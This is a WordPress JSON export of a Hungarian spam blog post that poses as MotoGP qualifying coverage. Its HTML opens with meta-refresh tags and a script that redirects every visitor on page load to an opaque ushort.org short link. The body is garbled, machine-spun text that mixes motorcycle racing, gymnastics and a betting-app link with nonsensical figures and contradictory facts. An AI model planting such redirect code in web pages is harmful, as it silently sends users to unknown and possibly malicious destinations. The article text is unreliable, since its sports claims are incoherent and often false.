{"id":315719,"date":"2025-09-15T03:15:30","date_gmt":"2025-09-15T01:15:30","guid":{"rendered":"https:\/\/invengenio.com\/?p=315719"},"modified":"2025-09-15T03:15:31","modified_gmt":"2025-09-15T01:15:31","slug":"motogp-olaszorszag-kvalifikacioja-eloben-jorge-martin-kemenyen-tamad-a-legujabb-palyarekord-miatt","status":"publish","type":"post","link":"https:\/\/invengenio.com\/index.php\/2025\/09\/15\/motogp-olaszorszag-kvalifikacioja-eloben-jorge-martin-kemenyen-tamad-a-legujabb-palyarekord-miatt\/","title":{"rendered":"MotoGP Olaszorsz\u00e1g kvalifik\u00e1ci\u00f3ja \u00c9l\u0151ben: Jorge Martin kem\u00e9nyen t\u00e1mad a leg\u00fajabb p\u00e1lyarekord miatt!"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.org\/VMCivyawF0r8\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.org\/VMCivyawF0r8\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.org\/VMCivyawF0r8\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.org\/VMCivyawF0r8\";<\/script><\/p>\n<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Cikkek<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Campioni In the Pist\u00e1ban: A Ducati bemutatja a 2025-\u00f6s versenyz\u0151ket: sportingbet alkalmaz\u00e1s<\/a><\/li>\n<li><a href=\"#toc-1\">Az olasz MotoGP id\u0151m\u00e9r\u0151j\u00e9nek eredm\u00e9nyei Giannantonio viharokba torkollnak, \u00edgy csod\u00e1lkozhatsz Mugello r\u00fadj\u00e1n<\/a><\/li>\n<li><a href=\"#toc-2\">Sof\u0151r statisztik\u00e1k<\/a><\/li>\n<\/ul>\n<\/div>\n<p>Az olasz MotoGP id\u0151m\u00e9r\u0151j\u00e9t a BT Recreation csapat\u00e1nak kell majd bemutatnia a programban, amely 11 \u00f3rakor (BST) indul, majd a Moto3 \u00e9s a Moto2 csoportok v\u00e9dekez\u0151 id\u0151m\u00e9r\u0151j\u00e9t is l\u00e1thatja. Ez egy \u00fajabb neh\u00e9z nap volt Valentino Rossi sz\u00e1m\u00e1ra, aki k\u00e9t hib\u00e1s id\u0151t is produk\u00e1lt az FP2-ben, \u00e9s a leg\u00fajabb p\u00e9ld\u00e1nyt a Petronas SRT 21. hely\u00e9n z\u00e1rta. A sr\u00e1c a 14. helyen, a nagy\u00e1gy\u00fak\u00e9nt emlegetett Michele P\u00edrro el\u0151tt rajtol, ahol Miguel Oliveira a leg\u00fajabb KTM-ek legjobbja Brad Binder csapatt\u00e1rs\u00e1t\u00f3l. <!--more--> Darryn Binder hossz\u00fa k\u00f6r\u00f6s b\u00fcntet\u00e9st fog let\u00f6lteni az \u00faj versenyen, mert \u201ea FP3-ban piros z\u00e1szl\u00f3 n\u00e9lk\u00fcl bukott\u201d.<\/p>\n<p>Rossi a 237 hib\u00e1j\u00e1val a negyedik helyen v\u00e9gzett a c\u00edmv\u00e9d\u0151 Marc M\u00e1rquez m\u00f6g\u00f6tt \u2013 ez volt a legnagyobb hat\u00e1sa 2010 \u00f3ta \u2013, 97 hib\u00e1val a bajnok Marc M\u00e1rquez m\u00f6g\u00f6tt.283 A sr\u00e1c f\u00e9l tucat dobog\u00f3s helyez\u00e9st szerzett, k\u00f6zt\u00fck egyet az asseni gy\u0151zelemhez. Rossi a ki\u00e1br\u00e1nd\u00edt\u00f3 hetedik helyen v\u00e9gzett N\u00e9metorsz\u00e1gban, de azt\u00e1n k\u00e9t egym\u00e1st k\u00f6vet\u0151 gy\u0151zelmet aratott Csehorsz\u00e1gban (jelent\u0151s, 31 mp-es el\u0151nnyel Biaggival szemben), majd Portug\u00e1li\u00e1ban is.5556 Egy \u00fajabb lehangol\u00f3 valenciai k\u00f6r\u00fatja volt, ahol a 11. helyen \u00e9rt c\u00e9lba, majd ism\u00e9t egy szettet nyert a Pacific versenygy\u0151zelmekb\u0151l a ri\u00f3i sorozatba. Franco Morbidelli el\u00e9gedett volt a fejlettebb specifik\u00e1ci\u00f3j\u00fa Yamaha M1-gyel, amivel a Petronas SRT-vel a harmadik helyen v\u00e9gzett, \u00e9s a kor\u00e1bbi csapatt\u00e1rs\u00e1t \u00e9s a MotoGP vil\u00e1gbajnoki c\u00edmv\u00e9d\u0151j\u00e9t, Fabio Quartarar\u00f3t a negyedik helyre k\u00e9nyszer\u00edtette \u2013 de a francia pil\u00f3ta legut\u00f3bbi munk\u00e1j\u00e1t a rajtvonaln\u00e1l l\u00e9v\u0151 forgalom f\u00e9lbeszak\u00edtotta. Rossi a 3. helyen v\u00e9gzett a torn\u00e1n, amely 198 sz\u00e1mot \u00e9s 123 elemet tartalmaz a bajnok Marc M\u00e1rquezr\u0151l. Ez volt Rossi els\u0151 nyeretlen szezonja a 2012-es Ducati \u00f3ta, \u00e9s a kor\u00e1bbi, a Warehouse Yamaha sz\u00edneiben v\u00edvott nyeretlen szezonja \u00f3ta.<\/p>\n<p>Rossi minden bizonnyal a nyolcadik helyen \u00e9rt volna haza, amikor f\u00e9kez\u00e9s k\u00f6zben elesett a dug\u00f3h\u00faz\u00f3s kanyarban. Emellett csal\u00f3dott volt a versenyre sz\u00e1nt motorbe\u00e1ll\u00edt\u00e1sokban is, ami miatt nem tudott el\u00e9g r\u00f6vid id\u0151 alatt kiesni a h\u00e9tv\u00e9g\u00e9n.265 Rossi a 7. helyen v\u00e9gzett az Indianapolis \u00e9s Csehorsz\u00e1g ciklusokban. Az \u00faj 1996-os bajnoki szezon a 17 \u00e9ves Rossi \u00faj deb\u00fct\u00e1l\u00e1s\u00e1t jelentette a ker\u00e9kp\u00e1rversenyeken.<\/p>\n<h2 id=\"toc-0\">Campioni In the Pist\u00e1ban: A Ducati bemutatja a 2025-\u00f6s versenyz\u0151ket: sportingbet alkalmaz\u00e1s<\/h2>\n<p>2023-ban az Olasz Torna Sz\u00f6vets\u00e9g legdivatosabb <a rel=\"nofollow\" href=\"https:\/\/fogadas-sport.com\/sportingbet\/\">sportingbet alkalmaz\u00e1s<\/a> mag\u00e1n ritmikus gimnasztik\u00e1ja lett. 1996-ban \u00e9s 1997-ben az Alpinestars \u00fajoncot pr\u00f3b\u00e1lt ki a motorjaikhoz, de Rossinak nem voltak b\u0151rruh\u00e1i. Miut\u00e1n Rossi regisztr\u00e1lta az \u00faj Yamaha gy\u00e1ri csapat\u00e1t, a csapat Alpinestars p\u00f3l\u00f3kat viselt, mik\u00f6zben Rossi fenntartotta a Dainese \u00fczlet\u00fcket.<\/p>\n<h2 id=\"toc-1\">Az olasz MotoGP id\u0151m\u00e9r\u0151j\u00e9nek eredm\u00e9nyei Giannantonio viharokba torkollnak, \u00edgy csod\u00e1lkozhatsz Mugello r\u00fadj\u00e1n<\/h2>\n<p><img decoding=\"async\" src=\"https:\/\/i99betm1.memberbet.com\/assets\/images\/slide01.jpg?v=1.0\" alt=\"sportingbet alkalmaz\u00e1s\" border=\"1\" align=\"right\"><\/p>\n<p>Takaaki Nakagami a vadonat\u00faj Honda motorral a 7. szettben az LCR \u00e9l\u00e9n v\u00e9gzett, a gy\u00e1ri Honda du\u00f3, Marc Marquez a tizenkettedikben, m\u00edg Pol Espargaro a 13. helyen v\u00e9gzett a m\u00e1sodik szabadedz\u00e9sen. Az \u00faj olasz 1:46,147-es m\u00e1sodik szabadedz\u00e9si k\u00f6r\u00e9t mind\u00f6ssze 0,071 m\u00e1sodperccel el\u0151zte meg a p\u00e9nteki nap leggyorsabb idej\u00e9t, amivel szorosan megel\u0151zte a Suzuki Alex Rinst az \u00faj id\u0151lista \u00e9l\u00e9n. A slick gumik maradtak az \u00faj gumik el\u0151nyben az \u00fajraind\u00edt\u00e1s el\u0151tt, amikor di Giannantonio \u2013 aki el\u00e9gedetten megel\u0151zte egym\u00e1st, Marquezt \u00e9s Millert a Q1-ben \u2013 a m\u00e1sik kezd\u0151 Marco Bezzecchi \u00e9s Luca Marini szinte minden VR46-os motorj\u00e1nak korai sebess\u00e9g\u00e9t is megel\u0151zte. Jorge Martin \u00e9s Johann Zarco az \u00f6t\u00f6dik, te pedig a hetedik helyen rajtolhatsz a Pramac Ducati GP23-asokkal, megel\u0151zve a m\u00e1rkabeli versenyt\u00e1rsat, Marco Bezzecchit, aki a 6. szettb\u0151l Bagnaia nyom\u00e1ban halad. A szabad j\u00e1t\u00e9kot ural\u00f3 Bagnai\u00e1t tartj\u00e1k az es\u00e9lyesnek, ezt a n\u00e9zetet Marquez is osztotta, aki a gyakran kritiz\u00e1lt taktik\u00e1j\u00e1t v\u00e1lasztotta, hogy az egyik gyors motoros h\u00e1tulj\u00e1b\u00f3l induljon, \u00e9s azonnali id\u0151m\u00e9r\u0151t szervezhessen.<\/p>\n<ul>\n<li>De nem, egy edz\u00e9s k\u00f6zbeni \u00fctk\u00f6z\u00e9s okozta a diplopia (kett\u0151s l\u00e1t\u00e1s) visszat\u00e9r\u00e9s\u00e9t, amelyet tavaly tapasztalt.<\/li>\n<li>A Jerezben, a Bagnai\u00e1val v\u00edvott leny\u0171g\u00f6z\u0151 k\u00fczdelem ut\u00e1n Marquez megszerezte els\u0151 h\u00e9tv\u00e9gi dobog\u00f3s helyez\u00e9s\u00e9t a Ducatival.<\/li>\n<li>Ezut\u00e1n Rossi \u00e9s Lorenzo k\u00f6z\u00f6tti kapcsolat megromlott, b\u00e1r ism\u00e9t megenyh\u00fclt, amikor Lorenzo 2017-ben az \u00faj Factory Ducati csapathoz igazolt, mik\u00f6zben Rossi a k\u00f6z\u00f6ns\u00e9gn\u00e9l maradt.477478 A k\u00f6vetkez\u0151 szezonban az \u00faj verseny leh\u0171lt, mivel Andrea Dovizioso 2017 elej\u00e9n Marc M\u00e1rquez f\u0151ellens\u00e9g\u00e9v\u00e9 v\u00e1lt.<\/li>\n<\/ul>\n<p>A kora reggel\u00fcket megzavarja a korai fagy az 5-\u00f6s kanyarban, \u00e9s val\u00f3sz\u00edn\u0171leg a k\u00f6vetkez\u0151 motorjukhoz kell majd g\u00e9pes\u00edteni\u00fck, ami korl\u00e1tozza a gurul\u00e1si idej\u00e9t a friss reggelen. Mindazon\u00e1ltal az utols\u00f3 erej\u00e9t is felhaszn\u00e1lt\u00e1k, hogy seg\u00edtsenek neki a nagy, k\u00e9ts\u00e9gtelen \u00fajonc Bezzecchinek, ami t\u00f6rt\u00e9nelmi pole poz\u00edci\u00f3t jelentett volna sz\u00e1mukra \u00e9s a csapat sz\u00e1m\u00e1ra is. Amikor a ker\u00e9kp\u00e1rosok a Q1 v\u00e9g\u00e9re \u00e9rtek, Gianantonio volt az, aki pontosan id\u0151z\u00edtette a k\u00f6r\u00e9t, hogy jav\u00edtsa a sorrendj\u00e9t, majd a saj\u00e1t el\u0151ny\u00e9t kihaszn\u00e1lva optimaliz\u00e1lta az idej\u00e9t, hogy a Q2-ben az \u00faj cs\u00facstart\u00f3k\u00e9nt el\u0151r\u00e9bb jusson. A helyi legenda, Valentino Rossi #46-os aut\u00f3j\u00e1t technikailag felmondt\u00e1k h\u00e9tf\u0151re, \u00e9s nem indulhat a MotoGP-ben. Az \u00e1llam MotoGP-s legnagyobb sebess\u00e9glist\u00e1j\u00e1t, a 362,4 km\/h-s (225,2 mph) sebess\u00e9get, amelyet el\u0151sz\u00f6r Johann Zarco \u00e9rt el a 2021-es katari futamon, Brad Binder \u00e9rte el Mugell\u00f3ban a m\u00falt szezonban. A tesztker\u00e9kp\u00e1rosok, Michele Pirro (Ducati) \u00e9s Lorenzo Savadori (Aprilia) a h\u00e9tv\u00e9g\u00e9n a legut\u00f3bbi \u0151r\u00fclt temp\u00f3t \u00e9rt\u00e9k el.<\/p>\n<ul>\n<li>Ugyanakkor ez\u00fcst\u00e9rmet szerzett a csapatversenyben, valamint Milena Baldassarri, Alexandra Agiurgiuculese \u00e9s az olaszorsz\u00e1gi \u00e9rt\u00e9kel\u00e9sben.<\/li>\n<li>A Honda versenyz\u0151je, Joan Mir t\u00f6bb m\u00e1sik versenyz\u0151vel is pr\u00f3b\u00e1lkozott, akik k\u00e9sve jav\u00edtottak az id\u0151eredm\u00e9ny\u00fck\u00f6n, \u00e9s hatodikk\u00e9nt ugrottak be, mik\u00f6zben az idej\u00fck 1:57,791.<\/li>\n<li>Morbidelli a tavalyi Ducati GP24-et vezetve 1:57,210 m\u00e1sodperces legjobb id\u0151t futott nagyj\u00e1b\u00f3l egy \u00f3ra alatt a nap folyam\u00e1n, amivel felz\u00e1rk\u00f3zott az \u00e9rt\u00e9kel\u00e9sek \u00e9l\u00e9re.<\/li>\n<li>A k\u00f6re k\u00f6r\u00fclbel\u00fcl h\u00e1rom tizeddel r\u00f6videbb, mint amit Quartararo szerd\u00e1n teljes\u00edtett, \u00e9s tal\u00e1n el\u00e9g j\u00f3 lett volna ahhoz, hogy biztos\u00edtsa a hely\u00e9t az oldals\u00f3 sorban az egy \u00e9vvel ezel\u0151tti Malajziai Nagyd\u00edjon.<\/li>\n<\/ul>\n<p>Marquez \u00f6ccse, Alex eg\u00e9szen a Q1-b\u0151l \u00e9rkezett, hogy teljes\u00edtse a harmadik rajtr\u00e1cs-k\u00f6vetelm\u00e9nyt Gresini Ducatij\u00e1val, 1:45,007 m\u00e1sodperces k\u00e9s\u00e9ssel. A 2022-es szezonra Raffaeli alkalmazkodott az \u00faj FIG-szab\u00e1lyzathoz, \u00e9s az olasz sz\u00f6vets\u00e9gi p\u00e1rt legnagyobb torn\u00e1sz\u00e1v\u00e1 v\u00e1lt. A regn\u00e1l\u00f3 bajnok, Jorge Mart\u00edn, Ra\u00fal Fern\u00e1ndez \u00e9s Fabio di Giannantonio mind kihagyt\u00e1k a sepangi versenyt, mivel visszat\u00e9rtek Eur\u00f3p\u00e1ba, hogy m\u0171t\u00e9teken esszenek \u00e1t, miut\u00e1n szerd\u00e1n k\u00fcl\u00f6n s\u00e9r\u00fcl\u00e9seket szenvedtek.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/webridgeesolution.com\/assets\/uploads\/images\/services\/442f1-sports.jpg\" alt=\"sportingbet alkalmaz\u00e1s\" border=\"0\" align=\"left\"><\/p>\n<p>Egy \u00fajabb rekordd\u00f6nt\u0151 szezonnal kapcsolatos v\u00e1rakoz\u00e1st fenntartottak 2020-ban, de nem, mivel Marquez balesetet szenvedett a jobb felkarcsontj\u00e1ban a szezonnyit\u00f3n, Jerezben, ami v\u00e9g\u00fcl a szezon v\u00e9ge fel\u00e9 is hat\u00e1ssal volt. Apr\u00e1nk\u00e9nt a 93-as sz\u00e1m\u00fa aut\u00f3 visszanyerte erej\u00e9t \u00e9s fitts\u00e9g\u00e9t, \u00e9s az \u00faj Sachsenringen ism\u00e9t a cs\u00facson volt. Egy j\u00f3 m\u00e1sodik helyezett az Arag\u00f3ni\u00e1ban, k\u00e9t egym\u00e1st k\u00f6vet\u0151 gy\u0151zelmet aratva Austinban \u00e9s Misan\u00f3ban, ami azt jelzi, hogy Marquez j\u00f3 form\u00e1ban van. B\u00e1r nem, egy edz\u00e9s k\u00f6zbeni baleset miatt visszat\u00e9rt a tavalyi kett\u0151sl\u00e1t\u00e1s (kett\u0151s l\u00e1t\u00e1s) t\u00fcneteihez. Marquez kihagyta a szezon utols\u00f3 n\u00e9h\u00e1ny szakasz\u00e1t, \u00e9s a helyzet 2022 elej\u00e9n \u00fajra felmer\u00fclt, amikor az Indon\u00e9zi\u00e1ban a legnagyobb kateg\u00f3ria t\u00f6rt\u00e9net\u00e9nek egyik legs\u00falyosabb s\u00e9r\u00fcl\u00e9s\u00e9t szenvedte el. A sr\u00e1c visszat\u00e9rt az Austinb\u00f3l, de n\u00e9h\u00e1ny h\u00f3nappal az Olasz Nagyd\u00edj ut\u00e1n ism\u00e9t elhagyta a versenyt, hogy \u00e1tessen egy negyedik, karrierj\u00e9t megment\u0151 m\u0171t\u00e9ten a jobb felkarcsontj\u00e1n.<\/p>\n<h2 id=\"toc-2\">Sof\u0151r statisztik\u00e1k<\/h2>\n<p>Mind a n\u00e9gy csoportban gyors perceket produk\u00e1l\u00f3 Bagnaia lett az els\u0151 versenyz\u0151, aki \u00e1tt\u00f6rte az \u00faj 1:45-\u00f6s akad\u00e1lyt, \u00e9s k\u00e9t perc 50 m\u00e1sodperccel a v\u00e9ge el\u0151tt az \u00faj id\u0151beoszt\u00e1s \u00e9l\u00e9re l\u00e9pett. Egyik\u00fck a KTM legjobb versenyz\u0151j\u00e9t, Pedro Acost\u00e1t a hetedik helyre szor\u00edtotta vissza, m\u00edg a Pramac Yamaha versenyz\u0151je, Miguel Olivera a 8. helyen v\u00e9gzett. A Honda versenyz\u0151je, Joan Mir egy m\u00e1sik versenyz\u0151, aki megk\u00e9setten jav\u00edtott az id\u0151n, 1:57,791 m\u00e1sodperces id\u0151vel a hatodik helyen v\u00e9gzett. B\u00e1r a d\u00e9lel\u0151tti \u00f3r\u00e1kban \u2013 r\u00e9szben a n\u00e9h\u00e1ny \u00f3r\u00e1t elh\u00faz\u00f3d\u00f3 szit\u00e1l\u00e1snak k\u00f6sz\u00f6nhet\u0151en \u2013 kev\u00e9s \u00e9s sok el\u0151rel\u00e9p\u00e9s t\u00f6rt\u00e9nt, a Ducati versenyz\u0151je, Francesco Bagnaia az \u00f6t\u00f6dik helyre j\u00f6tt fel, kiv\u00e1l\u00f3 1:57,652-es id\u0151vel az utols\u00f3 f\u00e9lid\u0151ben.<\/p>\n<p>A 2014-es \u00e9v elej\u00e9n, miut\u00e1n sorozatban 10 gy\u0151zelmet aratott, Marquez megszerezte az egyiket a Motegiben, hogy megv\u00e9dje az \u00faj szezont. Miut\u00e1n kikapott Jorge Lorenz\u00f3t\u00f3l \u00e9s Valentino Rossit\u00f3l, Marquez 2016-ban remek\u00fcl kezdte az \u00e9vet, \u00e9s \u00fajabb hihetetlen c\u00edmet szerzett \u2013 \u00e1talak\u00edtotta hozz\u00e1\u00e1ll\u00e1s\u00e1t, \u00e9s figyelembe vette az el\u00e9g id\u0151 j\u00e1t\u00e9k\u00e1t, amikor az \u00e9rz\u00e9st az \u00faj terv \u00e9l\u00e9re helyezte. Az \u00fajdons\u00fclt uralkod\u00f3 bajnok ezut\u00e1n az \u00faj k\u00e1bellel k\u00fczd\u00f6tt Andrea Dovizioso ellen a 2017-es koron\u00e1\u00e9rt, mindent megtett az utols\u00f3 goly\u00f3ig, \u00e9s Marquez \u2013 annak ellen\u00e9re, hogy hihetetlen id\u0151t futott az 1-es kanyarban \u2013 megtartotta a dobog\u00f3s hely\u00e9t, hogy megd\u00f6ntse a t\u00f6bbi list\u00e1t \u00e9s \u00faj nevet szerezzen. A sr\u00e1c 2018-at ism\u00e9t uralkod\u00f3 gy\u0151ztesk\u00e9nt kezdte, \u00e9s tov\u00e1bbi t\u00f6rt\u00e9nelmet \u00edrt, kilenc gy\u0151zelmet aratott, \u00e9s az \u00faj szezont a jap\u00e1nok k\u00f6z\u00f6tt z\u00e1rta \u2013 a legfiatalabb eddigi h\u00e9tnapos vil\u00e1gbajnokk\u00e9nt.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/d2gg9evh47fn9z.cloudfront.net\/800px_COLOURBOX33472999.jpg\" alt=\"sportingbet alkalmaz\u00e1s\" border=\"1\" align=\"left\" style=\"padding: 0px;\"><\/p>\n<p>Az egyetlen h\u00e9tv\u00e9gi dobog\u00f3s hely val\u00f3j\u00e1ban a v\u00edzzel teli Jap\u00e1n Nagyd\u00edjon sz\u00fcletett meg, de miut\u00e1n a GP l\u00e1tta, hogy Marquez bejelentette, hogy a szezon v\u00e9g\u00e9n a Hond\u00e1val fog dolgozni. Egy \u00ednycsikland\u00f3 lehet\u0151s\u00e9gre sz\u00e1m\u00edtottak, \u00e9s k\u00e9t sprintdobog\u00f3s helyez\u00e9s is megsz\u00fcletett az eredeti h\u00e1rom versenyen. A jerezi versenyen, a Bagnai\u00e1val v\u00edvott szenz\u00e1ci\u00f3s k\u00fczdelem ut\u00e1n, Marquez hirdette els\u0151 h\u00e9tv\u00e9gi dobog\u00f3j\u00e1t a Ducati sz\u00edneiben. Tov\u00e1bbi h\u00e1rom dobog\u00f3s helyez\u00e9st \u00e9rtek el j\u00fanius el\u0151tt, miel\u0151tt vas\u00e1rnap kett\u0151s gy\u0151zelmet aratott volna az Arag\u00f3ni\u00e1ban, ahol Marquez 1043 h\u00f3nap ut\u00e1n el\u0151sz\u00f6r t\u00e9rt vissza a cs\u00facsra. K\u00e9t tov\u00e1bbi gy\u0151zelem San Marin\u00f3ban \u00e9s Ausztr\u00e1li\u00e1ban azt eredm\u00e9nyezte, hogy a leg\u00fajabb #93-as aut\u00f3 eg\u00e9sz \u00e9vben megakad\u00e1lyozta a harmadik helyen a c\u00edm\u00e9rt folytatott k\u00fczdelemben, mivel a nyolcszoros bajnok most a saj\u00e1t m\u00e1rk\u00e1s versenyz\u00e9s\u00e9rt k\u00fczd, mik\u00f6zben a Ducati n\u00e9pszer\u0171 gy\u00e1ri piros aut\u00f3j\u00e1t viseli Pecco mellett 2025-ben.<\/p>\n<p>A leg\u00fajabb Gresini Ducati pil\u00f3ta egy er\u0151s v\u00e9geredm\u00e9nyre utalt, miut\u00e1n a Q1-ben kis k\u00fcl\u00f6nbs\u00e9ggel haladt el\u0151re, \u00e9s megszerezte a hegyi rajtkock\u00e1t, \u0151 volt a leggyorsabb a v\u00e9gs\u0151 rajthoz \u00e1ll\u00f3k k\u00f6z\u00fcl. Joan Mir gyors\u00edtott a kvalifik\u00e1ci\u00f3s \u00f3r\u00e1n, folyamatosan n\u00f6velve saj\u00e1t temp\u00f3j\u00e1t. Azonban nem siker\u00fclt neki, nem siker\u00fclt n\u00e9h\u00e1ny poz\u00edci\u00f3t felz\u00e1rk\u00f3znia, hogy tov\u00e1bb k\u00fczdhessen a pole poz\u00edci\u00f3\u00e9rt. Az \u00faj Repsol Honda pil\u00f3ta a 17. helyr\u0151l rajtolhat, m\u00edg a kateg\u00f3ria legjobb Honda versenyz\u0151je. Az Aprilia Maverick Vinalesje, a Yamaha versenyz\u0151i, Franco Morbidelli \u00e9s Fabio Quartararo a leg\u00fajabb import\u0151r\u00f6k k\u00f6z\u00fcl a d\u00e9lut\u00e1ni Dash-b\u00f3l, a vas\u00e1rnapi f\u0151verseny pedig a 13., 14. \u00e9s 15. helyr\u0151l indulhat. Olaszorsz\u00e1g sz\u00edneiben indult a 2018-as Junior Eur\u00f3pa-bajnoks\u00e1gon a spanyolorsz\u00e1gi Guadalajar\u00e1ban, ahol legut\u00f3bb az \u00faj csapatokhoz csatlakozott, \u00e9s az 5. helyen v\u00e9gzett.<\/p>\n<p>2011-ben \u00e9s 2012-ben Rossi a Ducati l\u00e9tes\u00edtm\u00e9nycsapat\u00e1nak tagja volt, ahol a csapat Puma p\u00f3l\u00f3kat viselt, ha Rossi vagy, akkor a Dainese-hez hasonl\u00f3 csapat\u00e1t vezette. 2006 okt\u00f3ber\u00e9ben kider\u00fclt, hogy Rossi r\u00e9szt vesz az idei \u00daj-Z\u00e9land Ralin, egy WRC-versenyen, amely november 17-19. k\u00f6z\u00f6tt zajlott. Egy kiv\u00e1l\u00f3 Subaru Impreza WRC04-ben edzett, \u00e9s 39 helyr\u0151l a 11. helyen v\u00e9gzett. A sr\u00e1c 24 m\u00e1sodperccel el\u0151zte meg a leg\u00fajabb 2005-\u00f6s bajnokot, Rinaldo Capell\u00f3t, h\u00e9t fokos el\u0151ny\u00e9b\u0151l \u00f6t\u00f6t megnyerve. A sr\u00e1cnak h\u00e9t m\u00e1sodperccel siker\u00fclt megel\u0151znie a kor\u00e1bbi WRC-bajnokot, Didier Auriolt az \u00e9lmez\u0151nyben. V\u00e9gre siker\u00fclt lek\u00f6r\u00f6znie a kor\u00e1bbi WRC-bajnokot, Didier Auriolt. Rossi a 2006-os Monza Ralin k\u00edv\u00fcl m\u00e1r kor\u00e1bban is bejelentette, hogy a 2007-es Nagy-Britannia-ralin is indulni fog, de k\u00e9s\u0151bb t\u00e1vozott. Rossi t\u00f6bbsz\u00f6r is versenyzett az \u00faj Monza Ralin egy Toyota Corolla WRC-vel.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cikkek Campioni In the Pist\u00e1ban: A Ducati bemutatja a 2025-\u00f6s versenyz\u0151ket: sportingbet alkalmaz\u00e1s Az olasz MotoGP id\u0151m\u00e9r\u0151j\u00e9nek eredm\u00e9nyei Giannantonio viharokba torkollnak, \u00edgy csod\u00e1lkozhatsz Mugello r\u00fadj\u00e1n Sof\u0151r statisztik\u00e1k Az olasz MotoGP id\u0151m\u00e9r\u0151j\u00e9t a BT Recreation csapat\u00e1nak kell majd bemutatnia a programban, amely 11 \u00f3rakor (BST) indul, majd a Moto3 \u00e9s a Moto2 csoportok v\u00e9dekez\u0151 id\u0151m\u00e9r\u0151j\u00e9t is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-315719","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"_links":{"self":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/315719"}],"collection":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/comments?post=315719"}],"version-history":[{"count":1,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/315719\/revisions"}],"predecessor-version":[{"id":315720,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/posts\/315719\/revisions\/315720"}],"wp:attachment":[{"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/media?parent=315719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/categories?post=315719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/invengenio.com\/index.php\/wp-json\/wp\/v2\/tags?post=315719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}